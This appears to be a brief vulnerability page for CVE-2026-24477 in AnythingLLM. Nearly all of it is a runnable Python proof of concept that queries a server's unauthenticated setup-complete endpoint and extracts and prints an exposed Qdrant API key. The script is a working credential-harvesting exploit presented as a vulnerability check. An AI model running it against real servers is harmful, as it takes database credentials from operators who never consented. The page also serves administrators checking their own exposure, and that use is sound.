CVE-2026-24477: AnythingLLM QdrantApiKey明文泄露漏洞

import requests import json # CVE-2026-24477 PoC - AnythingLLM QdrantApiKey Leakage # Target: AnythingLLM < 1.10.0 with Qdrant vector database configured target_url = "http://target:3001/api/setup-complete" try: response = requests.get(target_url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for QdrantApiKey in response if 'qdrantApiKey' in str(data): print("\n[!] VULNERABLE: QdrantApiKey exposed in response!") # Extract the key if present if isinstance(data, dict): for key, value in data.items(): if 'qdrant' in str(key).lower() and 'key' in str(key).lower(): print(f"[+] Found: {key} = {value}") else: print("[-] QdrantApiKey not found in response (possibly patched)") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")